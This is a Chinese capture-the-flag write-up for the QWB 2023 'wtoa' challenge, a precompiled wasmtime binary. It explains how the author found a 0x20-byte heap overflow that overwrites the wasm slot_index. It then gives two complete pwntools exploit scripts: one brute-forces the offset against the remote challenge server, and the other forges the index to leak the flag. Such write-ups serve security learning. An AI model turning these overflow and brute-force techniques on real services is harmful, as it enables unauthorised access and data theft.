0%

qwb2023_wtoa

wasmtime的预编译程序,用IDA进行分析,找到字符串

在gdb中对字符串进行硬件读断点rwatch *addr,然后在一个函数断下,根据断下的函数一直向上找上层函数,最终发现这个地方很可能是主菜单逻辑

while+switch的结构,对switch(v9)的地方进行断点,发现每次菜单输入不一样的选项这里也会有不一样的值,因此这里就是主函数了wasm_0_::function_17_,同时可以推测出wasm_0_::function_51_为printf,调试到此处时有一个可疑的条件判断,是对length进行特殊值判断,通过实验发现进入到这个if里可以多溢出0x20个字节

并且溢出后此时调用show功能程序会崩溃,溢出实际上覆盖的就是wasm的slot_index,我们可以溢出将slot_index指向flag的位置然后show就能泄漏出flag。
由于本地和远程地址有一点偏差,先爆破出远程的slot_index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

#sh = process(argv=['wasmtime','run','--env','FLAG="flag{test}"','--disable-cache','--allow-precompiled','./wtoa'])

#sh = remote('47.100.169.26',20231)

def add(size,content):
sh.sendlineafter(b'Choice >',b'A')
sh.sendlineafter(b'size >',str(size))
sh.sendafter(b'>',content)

def edit(index,offset,size,content):
sh.sendlineafter(b'Choice >',b'E')
sh.sendlineafter(b'>',str(index))
sh.sendlineafter(b'>',str(offset))
sh.sendlineafter(b'>',str(size))
sh.sendafter(b'>',content)


def delete(index):
sh.sendlineafter(b'Choice >',b'D')
sh.sendlineafter(b'>',str(index))


def show(index,offset,size):
sh.sendlineafter(b'Choice >',b'S')
sh.sendlineafter(b'>',str(index))
sh.sendlineafter(b'>',str(offset))
sh.sendlineafter(b'>',str(size))

for i in range(0xd00,0,-8):
cur = 0x501000 + i
print(hex(cur))
sh = remote('47.100.169.26',20231)
#sh = process(argv=['wasmtime','run','--env','FLAG="flag{test}"','--disable-cache','--allow-precompiled','./wtoa'])
add(0x10,b'a'*0x10)
#edit(0,0,3428913,'a'*0x40)

#edit(0,0,3428913,p64(0x501b41) + p64(0x10) + p64(0x0000001300000000) + p64(0x501cb8) + p64(0x0000130100000000) + p64(0))
#edit(0,0,3428913,p64(0x501b41) + p64(0x10) + p64(0x0000001300000000) + p64(0x501ca0) + p64(0x0000130100000000) + p64(0))
edit(0,0,3428913,b'a'*0x18 + p64(cur) + p64(0x0000130100000000) + p64(0))
show(0,0,0x10)
line = sh.recvline()
sh.close()
print('line=',line)
if b'aaaaa' in line:
print('found offset=',hex(cur))
break

爆破出slot_index后,我们就可以进行伪造将其指向flag,然后泄漏得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf8
from pwn import *

#sh = process(argv=['wasmtime','run','--env','FLAG="flag{test}"','--disable-cache','--allow-precompiled','./wtoa'])

#sh = remote('47.100.169.26',20231)

def add(size,content):
sh.sendlineafter(b'Choice >',b'A')
sh.sendlineafter(b'size >',str(size))
sh.sendafter(b'>',content)

def edit(index,offset,size,content):
sh.sendlineafter(b'Choice >',b'E')
sh.sendlineafter(b'>',str(index))
sh.sendlineafter(b'>',str(offset))
sh.sendlineafter(b'>',str(size))
sh.sendafter(b'>',content)


def delete(index):
sh.sendlineafter(b'Choice >',b'D')
sh.sendlineafter(b'>',str(index))


def show(index,offset,size):
sh.sendlineafter(b'Choice >',b'S')
sh.sendlineafter(b'>',str(index))
sh.sendlineafter(b'>',str(offset))
sh.sendlineafter(b'>',str(size))

sh = remote('47.100.169.26',20231)
#sh = process(argv=['wasmtime','run','--env','FLAG="flag{test}"','--disable-cache','--allow-precompiled','./wtoa'])
add(0x10,b'a'*0x10)
edit(0,0,3428913,p64(0x501b40+0x20) + p64(0x10) + p64(0x0000001300000000) + p64(0x501cd0) + p64(0x0000130100000000) + p64(0))
show(0,0,0x10)

sh.interactive()